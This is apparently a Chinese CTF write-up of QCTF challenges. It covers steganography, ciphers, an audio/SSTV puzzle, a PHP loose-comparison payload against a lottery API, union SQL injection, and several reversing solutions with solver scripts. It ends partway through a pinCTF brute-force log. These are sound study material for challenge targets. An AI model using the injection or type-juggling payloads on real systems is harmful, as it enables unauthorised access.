其实大部分是看着大佬 wp 的复现。感觉自己实力还是欠缺很多。
MISC
picture
通过 stegsolve 判断出存在最低位隐写。使用 lsb 工具解出密文,为一段加密函数:
#_*_ coding:utf-8 _*_
import re
import sys
ip= (58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9 , 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7)
ip_1=(40, 8, 48, 16, 56, 24, 64, 32,
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25)
e =(32, 1, 2, 3, 4, 5, 4, 5,
6, 7, 8, 9, 8, 9, 10, 11,
12,13, 12, 13, 14, 15, 16, 17,
16,17, 18, 19, 20, 21, 20, 21,
22, 23, 24, 25,24, 25, 26, 27,
28, 29,28, 29, 30, 31, 32, 1)
p=(16, 7, 20, 21, 29, 12, 28, 17,
1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9,
19, 13, 30, 6, 22, 11, 4, 25)
s=[ [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7],
[0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8],
[4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0],
[15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]],
[[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10],
[3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5],
[0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15],
[13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]],
[[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8],
[13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1],
[13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7],
[1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]],
[[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15],
[13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14,9],
[10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4],
[3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]],
[[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9],
[14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6],
[4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14],
[11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]],
[[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11],
[10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8],
[9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6],
[4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]],
[[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1],
[13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6],
[1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2],
[6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]],
[[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7],
[1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2],
[7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8],
[2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]]]
pc1=(57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4);
pc2= (14, 17, 11, 24, 1, 5, 3, 28,
15, 6, 21, 10, 23, 19, 12, 4,
26, 8, 16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55, 30, 40,
51, 45, 33, 48, 44, 49, 39, 56,
34, 53, 46, 42, 50, 36, 29, 32)
d = ( 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1)
__all__=['desencode']
class DES():
def __init__(self):
pass
def code(self,from_code,key,code_len,key_len):
output=""
trun_len=0
code_string=self._functionCharToA(from_code,code_len)
code_key=self._functionCharToA(key,key_len)
if code_len%16!=0:
real_len=(code_len/16)*16+16
else:
real_len=code_len
if key_len%16!=0:
key_len=(key_len/16)*16+16
key_len*=4
trun_len=4*real_len
for i in range(0,trun_len,64):
run_code=code_string[i:i+64]
l=i%key_len
run_key=code_key[l:l+64]
run_code= self._codefirstchange(run_code)
run_key= self._keyfirstchange(run_key)
for j in range(16):
code_r=run_code[32:64]
code_l=run_code[0:32]
run_code=code_r
code_r= self._functionE(code_r)
key_l=run_key[0:28]
key_r=run_key[28:56]
key_l=key_l[d[j]:28]+key_l[0:d[j]]
key_r=key_r[d[j]:28]+key_r[0:d[j]]
run_key=key_l+key_r
key_y= self._functionKeySecondChange(run_key)
code_r= self._codeyihuo(code_r,key_y)
code_r= self._functionS(code_r)
code_r= self._functionP(code_r)
code_r= self._codeyihuo(code_l,code_r)
run_code+=code_r
code_r=run_code[32:64]
code_l=run_code[0:32]
run_code=code_r+code_l
output+=self._functionCodeChange(run_code)
return output
def _codeyihuo(self,code,key):
code_len=len(key)
return_list=''
for i in range(code_len):
if code[i]==key[i]:
return_list+='0'
else:
return_list+='1'
return return_list
def _codefirstchange(self,code):
changed_code=''
for i in range(64):
changed_code+=code[ip[i]-1]
return changed_code
def _keyfirstchange (self,key):
changed_key=''
for i in range(56):
changed_key+=key[pc1[i]-1]
return changed_key
def _functionCodeChange(self, code):
lens=len(code)/4
return_list=''
for i in range(lens):
list=''
for j in range(4):
list+=code[ip_1[i*4+j]-1]
return_list+="%x" %int(list,2)
return return_list
def _functionE(self,code):
return_list=''
for i in range(48):
return_list+=code[e[i]-1]
return return_list
def _functionP(self,code):
return_list=''
for i in range(32):
return_list+=code[p[i]-1]
return return_list
def _functionS(self, key):
return_list=''
for i in range(8):
row=int( str(key[i*6])+str(key[i*6+5]),2)
raw=int(str( key[i*6+1])+str(key[i*6+2])+str(key[i*6+3])+str(key[i*6+4]),2)
return_list+=self._functionTos(s[i][row][raw],4)
return return_list
def _functionKeySecondChange(self,key):
return_list=''
for i in range(48):
return_list+=key[pc2[i]-1]
return return_list
def _functionCharToA(self,code,lens):
return_code=''
lens=lens%16
for key in code:
code_ord=int(key,16)
return_code+=self._functionTos(code_ord,4)
if lens!=0:
return_code+='0'*(16-lens)*4
return return_code
def _functionTos(self,o,lens):
return_code=''
for i in range(lens):
return_code=str(o>>i &1)+return_code
return return_code
def tohex(string):
return_string=''
for i in string:
return_string+="%02x"%ord(i)
return return_string
def tounicode(string):
return_string=''
string_len=len(string)
for i in range(0,string_len,2):
return_string+=chr(int(string[i:i+2],16))
return return_string
def desencode(from_code,key):
from_code=tohex(from_code)
key=tohex(key)
des=DES()
key_len=len(key)
string_len=len(from_code)
if string_len<1 or key_len<1:
print 'error input'
return False
key_code= des.code(from_code,key,string_len,key_len)
return key_code
if __name__ == '__main__':
if(desencode(sys.argv[1],'mtqVwD4JNRjw3bkT9sQ0RYcZaKShU4sf')=='e3fab29a43a70ca72162a132df6ab532535278834e11e6706c61a1a7cefc402c8ecaf601d00eee72'):
print 'correct.'
else:
print 'try again.'
解出来之后发现应该是 DES,但无从下手。后来看了孔师傅的 wp,一惊居然还有这种骚操作。
顺便记录一下 __all__
在 python 中:
The only solution is for the package author to provide an explicit index of the package. The import statement uses the following convention: if a package’s init.py code defines a list named all, it is taken to be the list of module names that should be imported when from package import * is encountered. It is up to the package author to keep this list up-to-date when a new version of the package is released. Package authors may also decide not to support it, if they don’t see a use for importing * from their package.
最后用搜到的脚本解密:
$ python des_1.py
DES 解密
请输入密文(长度不限):e3fab29a43a70ca72162a132df6ab532535278834e11e6706c61a1a7cefc402c8ecaf601d00eee72
请输入密钥(长度不限):mtqVwD4JNRjw3bkT9sQ0RYcZaKShU4sf
QCTF{eCy0AALMDH9rLoBnWnTigXpYPkgU0sU4}
按确定退出
Noise
拿到一个 Noise.wav
,发现是 my little pony theme song
。尝试用 mp3stego
后无果。再反复听了很多次,发现有一些噪音夹杂在里面。
看一下 hint,个人认为这里最关键的是 hint2,需要了解通过消除伴奏获得人声的原理。
关于原理,利用声波叠加干涉消除原声,当声波的相位差达到 180 度的时候,就可以达到消音的效果:
跟着教程学会怎么使用 Adobe Audition
,使声波相位差达到 180 度。
要提取出噪音,我们要做的就是从网上下载原版的 my little pony theme song
,然后将 Noise.wav
和它的相位差调整为 180 度,就可以提取出噪音。
关于这段噪音的话,和慢扫描电视有关。利用软件 MMSSTV
,最后得到 flag。
X-man-Keyword
也是 lsb。
密码为图片中的 lovekfc
。
通过提示,将 LOVEKFC
作为关键字提到最前面,和正常顺序的英文字母进行置换。
PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}
LOVEKFCABDGHIJMNPQRSTUWXYZ
ABCDEFGHIJKLMNOPQRSTUVWXYZ
QCTF...
// 容易发现前四位正好是QCTF
写一下脚本跑出结果:
#include <stdio.h>
#include <string.h>
#include <ctype.h>
int main() {
char s1[27] = "lovekfcabdghijmnpqrstuwxyz";
char s2[27] = "abcdefghijklmnopqrstuvwxyz";
char s3[27] = "LOVEKFCABDGHIJMNPQRSTUWXYZ";
char s4[27] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
char ans[39] = "PVSF{vVckHejqBOVX9C1c13GFfkHJrjIQeMwf}";
for(int i = 0; i < strlen(ans); i++) {
if(islower(ans[i])) {
for(int j = 0; j < strlen(s1); j++) {
if(ans[i] == s1[j]) {
ans[i] = s2[j];
break;
}
}
} else if(isupper(ans[i])) {
for(int j = 0; j < strlen(s3); j++) {
if(ans[i] == s3[j]) {
ans[i] = s4[j];
break;
}
}
} else {
continue;
}
}
printf("%s", ans);
return 0;
}
X-man-A face
补全二维码定位符,扫出一串类似 base64 的密文。
经过尝试,通过 base32 解码得到 flag。
WEB
Lottery
通过 GitHack 拿到源码,在 api.php 中:
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
$numbers
即用户输入的数字,$win_numbers
即随机生成的数字。根据 PHP 弱类型比较,例如 TRUE
和 1
和 "1"
相等,构造 "action":"buy","numbers":[true,true,true,true,true,true,true]
即可中最高奖,得到 flag。
NewsCenter
直接用联合注入判断出列数为三列后,就开始走流程 emmm。
显而易见 flag 应该在 secret_table
中。
在 fl4g
列中得到 flag:
RE
Xman-babymips
mips 逆向,看一下 swing 的博客,安装一波 retdec 来反编译。
反编译出几个关键函数:
- check 函数:
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2019 Retargetable Decompiler <info@retdec.com>
//
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
// ------------------- Function Prototypes --------------------
int32_t puts(char * a1);
int32_t strlen(char * a1);
int32_t strncmp(char * a1, char * a2, int32_t a3);
int32_t sub_4007F0(char * a1);
// --------------------- Global Variables ---------------------
char * g1 = "\x52\xfd\x16\xa4\x89\xbd\x92\x80\x13\x41\x54\xa0\x8d\x45\x18\x81\xde\xfc\x95\xf0\x16\x79\x1a\x15\x5b\x75\x1f";
// ------------------------ Functions -------------------------
// Address range: 0x4007f0 - 0x4009a8
int32_t sub_4007F0(char * a1) {
int32_t v1 = (int32_t)a1; // 0x400800
char * str = (char *)v1; // 0x400800
int32_t puts_rc;
if (strlen(str) <= 5) {
// 0x400934
if (strncmp((char *)(v1 + 5), (char *)&g1, 27) == 0) {
// 0x400964
puts_rc = puts("Right!");
// branch -> 0x40098c
} else {
// 0x40097c
puts_rc = puts("Wrong!");
// branch -> 0x40098c
}
// 0x40098c
return puts_rc;
}
int32_t v2 = 5;
while (true) {
char * v3 = (char *)(v2 + v1); // 0x4008a8
int32_t v4 = (int32_t)*v3; // 0x4008a8
char v5;
if (v2 % 2 == 0) {
char v6 = *v3; // 0x4008cc
v5 = (int32_t)v6 / 64 | 0x4000000 * v4 / 0x1000000;
// branch -> 0x400900
} else {
// 0x400828
v5 = 64 * (int32_t)*v3 | v4 / 4;
// branch -> 0x400900
}
// 0x400900
*v3 = v5;
int32_t v7 = v2 + 1; // 0x400908
if (v7 >= strlen(str)) {
// break -> 0x400934
break;
}
v2 = v7;
// continue -> 0x400814
}
// 0x400934
if (strncmp((char *)(v1 + 5), (char *)&g1, 27) == 0) {
// 0x400964
puts_rc = puts("Right!");
// branch -> 0x40098c
} else {
// 0x40097c
puts_rc = puts("Wrong!");
// branch -> 0x40098c
}
// 0x40098c
return puts_rc;
}
// --------------------- Meta-Information ---------------------
// Detected compiler/packer: gcc (7.3.0)
// Detected functions: 1
// Decompilation date: 2019-01-23 16:29:29
逻辑就是先判断奇偶,如果为奇数则将字符的高 6 位作为低 6 位,低 2 位作为高 2 位;反之为偶数,则字符的低 6 位作为高 6 位,高 2 位作为低 2 位。最后和 g1
check 一下。
- main 函数在这里:
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2019 Retargetable Decompiler <info@retdec.com>
//
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ------------------- Function Prototypes --------------------
int32_t printf(char * a1);
int32_t puts(char * a1);
int32_t scanf(char * a1);
void setbuf(int32_t a1, char * a2);
int32_t strncmp(char * a1, char * a2, int32_t a3);
int32_t sub_4007F0(int32_t a1);
int32_t sub_4009A8(void);
// --------------------- Global Variables ---------------------
int32_t stdin = 0;
int32_t stdout = 0;
// ------------------------ Functions -------------------------
// Address range: 0x4009a8 - 0x400af8
int32_t sub_4009A8(void) {
// 0x4009a8
setbuf(stdout, NULL);
setbuf(stdin, NULL);
printf("Give me your flag:");
scanf("%32s");
int32_t v1 = 0; // bp-48
int32_t v2 = 0; // 0x400a58
char * v3 = (char *)((int32_t)&v1 + 4 + v2); // 0x400a28
*v3 = (char)((int32_t)*v3 ^ 32 - v2);
int32_t v4 = v1 + 1; // 0x400a70
v1 = v4;
// branch -> 0x400a1c
while (v4 < 32) {
// 0x400a1c
v2 = v4;
v3 = (char *)((int32_t)&v1 + 4 + v2);
*v3 = (char)((int32_t)*v3 ^ 32 - v2);
v4 = v1 + 1;
v1 = v4;
// continue -> 0x400a1c
}
int32_t str = 0; // bp-44
int32_t puts_rc;
if (strncmp((char *)&str, "Q|j{g", 5) == 0) {
// 0x400ab4
puts_rc = sub_4007F0((int32_t)&str);
// branch -> 0x400adc
} else {
// 0x400acc
puts_rc = puts("Wrong");
// branch -> 0x400adc
}
// 0x400adc
return puts_rc;
}
// --------------------- Meta-Information ---------------------
// Detected compiler/packer: gcc (7.3.0)
// Detected functions: 1
// Decompilation date: 2019-01-23 16:29:58
main 中先输入字符串,然后将字符串中的每个字符依次与 32-i
异或,前五位与 Q|j{g
比较,之后将字符串作为参数调用上一个 check 函数。
由于之前的奇偶难以判断,所以采用爆破的方式。用 python 写出爆破脚本:
#!/usr/bin/env python
enc1 = 'Q|j{g'
enc2 = '\x52\xfd\x16\xa4\x89\xbd\x92\x80\x13\x41\x54\xa0\x8d\x45\x18\x81\xde\xfc\x95\xf0\x16\x79\x1a\x15\x5b\x75\x1f'
flag = ''
for i in range(5):
ch = ord(enc1[i]) ^ (32 - i)
print 'index', i, '==>', chr(ch)
flag += chr(ch)
for i in range(5, 32):
for ch in range(256):
t = ch ^ (32 - i)
if i % 2 == 0:
res = ((t << 2) & 0xff) | (t >> 6)
else:
res = (t >> 2) | ((t << 6) & 0xff)
if res == ord(enc2[i - 5]):
print 'index', i, '==>', chr(ch)
flag += chr(ch)
break
print len(flag)
print 'flag:', flag
最后放上官方给出的源码:
#include <stdio.h>
#include <string.h>
char *check1="Q|j{g";
char *check2= "\x52\xfd\x16\xa4\x89\xbd\x92\x80\x13\x41\x54\xa0\x8d\x45\x18\x81\xde\xfc\x95\xf0\x16\x79\x1a\x15\x5b\x75\x1f";
void check(char *s){
int i;
for(i=5;i<strlen(s);i++){
if(i%2)
s[i]=(s[i]>>2)|((s[i]<<6)&0xff);
else
s[i]=((s[i]<<2)&0xff)|(s[i]>>6);
}
if(!strncmp(&s[5],check2,27))
printf("Right!\n");
else
printf("Wrong!\n");
}
void main(){
char s[33];
int i;
printf("Give me your flag:");
scanf("%32s",s);
for(i=0;i<32;i++)
s[i]^=(32-i);
if(!strncmp(s,check1,5))
check(s);
else
printf("Wrong\n");
}
asong
总共给了三个文件,asong
为可执行文件,that_girl
以及 out
都是 ascii 文本。将 asong
拖进 ida 后,看到 main 函数的样子:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *girl; // ST00_8
char *input; // ST08_8
girl = malloc(0xBCuLL);
input = (char *)malloc(0x50uLL);
init_func();
getline(input);
simple_check(input);
cal("that_girl", (__int64)girl);
encrypt(input, (__int64)girl);
return 0LL;
}
第一个 init_func()
,设置一下缓冲区:
void init_func()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}
getline()
函数实现了一个简单的读取一行的功能:
char __fastcall getline(char *a1)
{
char *v1; // rax
signed int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
LOBYTE(v1) = read(0, &a1[i], 1uLL) == 1;
if ( !(_BYTE)v1 )
break;
if ( a1[i] == 10 || i > 100 )
{
v1 = &a1[i];
*v1 = 0;
return (char)v1;
}
}
return (char)v1;
}
simple_check()
函数检查读入字符串中是否以 'QCTF{'
开头,以及是否以 '}'
结尾:
void __fastcall simple_check(char *a1)
{
int v1; // [rsp+14h] [rbp-Ch]
void *dest; // [rsp+18h] [rbp-8h]
dest = malloc(0x50uLL);
if ( memcmp(a1, "QCTF{", 5uLL) )
exit(-1);
memcpy(dest, a1 + 5, 0x4BuLL);
v1 = strlen((const char *)dest);
if ( *((_BYTE *)dest + v1 - 1) == '}' )
*((_BYTE *)dest + v1 - 1) = 0;
memcpy(a1, dest, 0x50uLL);
free(dest);
}
cal()
函数读取了文件 that_girl
的内容,应该是通过 convert()
函数对其中的每个字符做了一个词频的统计:
int __fastcall cal(const char *that_girl, __int64 girl)
{
int v2; // eax
char *v4; // [rsp+0h] [rbp-20h]
char buf; // [rsp+13h] [rbp-Dh]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
fd = open(that_girl, 0, girl, that_girl);
while ( read(fd, &buf, 1uLL) == 1 )
{
v2 = convert(buf);
++*(_DWORD *)&v4[4 * v2];
}
return close(fd);
}
convert()
函数中是一个对读入的 buf 的映射,不用刻意看具体是什么操作,后面直接打表就完事了:
__int64 __fastcall convert(char buf)
{
__int64 result; // rax
result = (unsigned int)(buf - 10);
switch ( buf )
{
case '\n':
result = (unsigned int)(buf + 35);
break;
case ' ':
case '!':
case '"':
result = (unsigned int)(buf + 10);
break;
case '\'':
result = (unsigned int)(buf + 2);
break;
case ',':
result = (unsigned int)(buf - 4);
break;
case '.':
result = (unsigned int)(buf - 7);
break;
case ':':
case ';':
result = (unsigned int)(buf - 21);
break;
case '?':
result = (unsigned int)(buf - 27);
break;
case '_':
result = (unsigned int)(buf - 49);
break;
default:
if ( buf <= '/' || buf > '9' )
{
if ( buf <= '@' || buf > 'Z' )
{
if ( buf > '`' && buf <= 'z' )
result = (unsigned int)(buf - 87); // lower case
}
else
{
result = (unsigned int)(buf - 55); // upper case
}
}
else
{
result = (unsigned int)(buf - 48); // number
}
break;
}
return result;
}
最后是对 flag 的加密部分:
unsigned __int64 __fastcall encrypt(const char *input, char *girl)
{
int i; // [rsp+18h] [rbp-48h]
int len; // [rsp+1Ch] [rbp-44h]
char enc[56]; // [rsp+20h] [rbp-40h]
unsigned __int64 v6; // [rsp+58h] [rbp-8h]
v6 = __readfsqword(0x28u);
len = strlen(input);
for ( i = 0; i < len; ++i )
enc[i] = *(_DWORD *)&girl[4 * (signed int)convert(input[i])];
index_round(enc);
shift(enc, len);
output(enc, "out", len);
return __readfsqword(0x28u) ^ v6;
}
这里用到了一个 global 的 table,和之前的词频一样,通过打表将映射关系记录下来:
__int64 __fastcall index_round(char *enc)
{
__int64 result; // rax
_BYTE v2[5]; // [rsp+13h] [rbp-5h]
v2[4] = 0; // v2[1] = 0;
*(_DWORD *)v2 = (unsigned __int8)*enc;
while ( table[*(signed int *)&v2[1]] )
{
enc[*(signed int *)&v2[1]] = enc[table[*(signed int *)&v2[1]]];
*(_DWORD *)&v2[1] = table[*(signed int *)&v2[1]];
}
result = v2[0];
enc[*(signed int *)&v2[1]] = v2[0];
return result;
}
shift()
做了一个循环位移,这个操作显然是可逆的:
char *__fastcall shift(char *enc, int len)
{
char *result; // rax
char v3; // [rsp+17h] [rbp-5h]
int i; // [rsp+18h] [rbp-4h]
v3 = (unsigned __int8)*enc >> 5;
for ( i = 0; len - 1 > i; ++i )
enc[i] = 8 * enc[i] | ((unsigned __int8)enc[i + 1] >> 5);
result = &enc[i];
*result = 8 * *result | v3;
return result;
}
output()
函数将密文输出到 out
中:
int __fastcall output(char *enc, const char *file, int len)
{
int v4; // [rsp+Ch] [rbp-24h]
int i; // [rsp+28h] [rbp-8h]
int fd; // [rsp+2Ch] [rbp-4h]
v4 = len;
fd = open(file, 65, 438LL);
for ( i = 0; i < v4; ++i )
write(fd, &enc[i], 1uLL);
return close(fd);
}
总体加密过程统计了 that_girl 文件的词频, 并将 flag 转换为对应的词频。经过两次加密, 置换, 移位。最后在尝试中写出最后的脚本:
#!/usr/bin/env python
f = open('out', 'rb')
t = f.read()
f.close()
enc = []
for i in range(len(t)):
enc.append(ord(t[i]))
print enc
flag = ''
def convert(c):
res = c - 10
if c == 10:
res = c + 35
elif 32 <= c <= 34:
res = c + 10
elif c == 39:
res = c + 2
elif c == 44:
res = c - 4
elif c == 46:
res = c - 7
elif 58 <= c <= 59:
res = c - 21
elif c == 63:
res = c - 27
elif c == 95:
res = c - 49
else:
if c <= 47 or c > 57:
if c <= 64 or c > 90:
if c > 96 and c <= 122:
res = c - 87
else:
res = c - 55
else:
res = c - 48
return res
# convert1
convert_map = {}
for ch in range(256):
convert_map[convert(ch)] = ch
# print convert_map
f = open('that_girl', 'rb')
that_girl = f.read()
f.close()
# print that_girl
girl = [0 for i in range(256)]
for i in range(len(that_girl)):
t = convert(that_girl[i])
girl[t * 4] += 1
# print girl
# shift
enc1 = []
enc1.append(((enc[-1] << 5) & 0xff) | (enc[0] >> 3))
for i in range(len(enc) - 1):
enc1.append(((enc[i] << 5) & 0xff) | (enc[i + 1] >> 3))
print len(enc1)
table = [0x00000016, 0x00000000, 0x00000006, 0x00000002, 0x0000001E, 0x00000018, 0x00000009, 0x00000001, 0x00000015, 0x00000007, 0x00000012, 0x0000000A, 0x00000008, 0x0000000C, 0x00000011, 0x00000017, 0x0000000D, 0x00000004, 0x00000003, 0x0000000E, 0x00000013, 0x0000000B, 0x00000014, 0x00000010, 0x0000000F, 0x00000005, 0x00000019, 0x00000024, 0x0000001B, 0x0000001C, 0x0000001D, 0x00000025, 0x0000001F, 0x00000020, 0x00000021, 0x0000001A, 0x00000022, 0x00000023]
print len(table)
# convert2
round_map = {}
x = 0
while table[x] != 0:
round_map[table[x]] = x
x = table[x]
round_map[0] = 1
print round_map
enc2 = [0 for i in range(len(enc1))]
for origin, encoded in round_map.items():
enc2[origin] = enc1[encoded]
for i in range(len(enc2)):
for j in range(len(girl) / 4):
if enc2[i] == girl[j * 4]:
flag += chr(convert_map[j])
break
print 'flag: QCTF{%s}' % flag
ollvm
题目给的 binary 很大,各种混淆,硬逆太困难了。pintool
走一波,这里推荐一个脚本 pinCTF(大概跑了一个半小时的样子)。
root@fea7928d5398:~/PinCTF# ./pinCTF.py -f ./ollvm -a -l obj-intel64/ -sl 38 -r abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_+={} -sk
[~] Status:
threading : False
reverseRange : False
skipFavoredPaths : True
[~] Trying {AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 0 using Q for QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying Q{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 1 using C for QCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QC{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 2 using T for QCTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCT{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 3 using F for QCTFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 4 using { for QCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 5 using 5 for QCTF{5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 6 using Y for QCTF{5YAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Y{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 7 using m for QCTF{5YmAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym{AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 8 using 4 for QCTF{5Ym4AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4{AAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 9 using a for QCTF{5Ym4aAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4a{AAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 10 using O for QCTF{5Ym4aOAAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aO{AAAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 11 using E for QCTF{5Ym4aOEAAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOE{AAAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 12 using w for QCTF{5Ym4aOEwAAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEw{AAAAAAAAAAAAAAAAAAAAAAAA
[+] iter 13 using w for QCTF{5Ym4aOEwwAAAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww{AAAAAAAAAAAAAAAAAAAAAAA
[+] iter 14 using 2 for QCTF{5Ym4aOEww2AAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2{AAAAAAAAAAAAAAAAAAAAAA
[+] iter 15 using N for QCTF{5Ym4aOEww2NAAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2N{AAAAAAAAAAAAAAAAAAAAA
[+] iter 16 using c for QCTF{5Ym4aOEww2NcAAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2Nc{AAAAAAAAAAAAAAAAAAAA
[+] iter 17 using Z for QCTF{5Ym4aOEww2NcZAAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZ{AAAAAAAAAAAAAAAAAAA
[+] iter 18 using c for QCTF{5Ym4aOEww2NcZcAAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZc{AAAAAAAAAAAAAAAAAA
[+] iter 19 using v for QCTF{5Ym4aOEww2NcZcvAAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcv{AAAAAAAAAAAAAAAAA
[+] iter 20 using U for QCTF{5Ym4aOEww2NcZcvUAAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvU{AAAAAAAAAAAAAAAA
[+] iter 21 using P for QCTF{5Ym4aOEww2NcZcvUPAAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUP{AAAAAAAAAAAAAAA
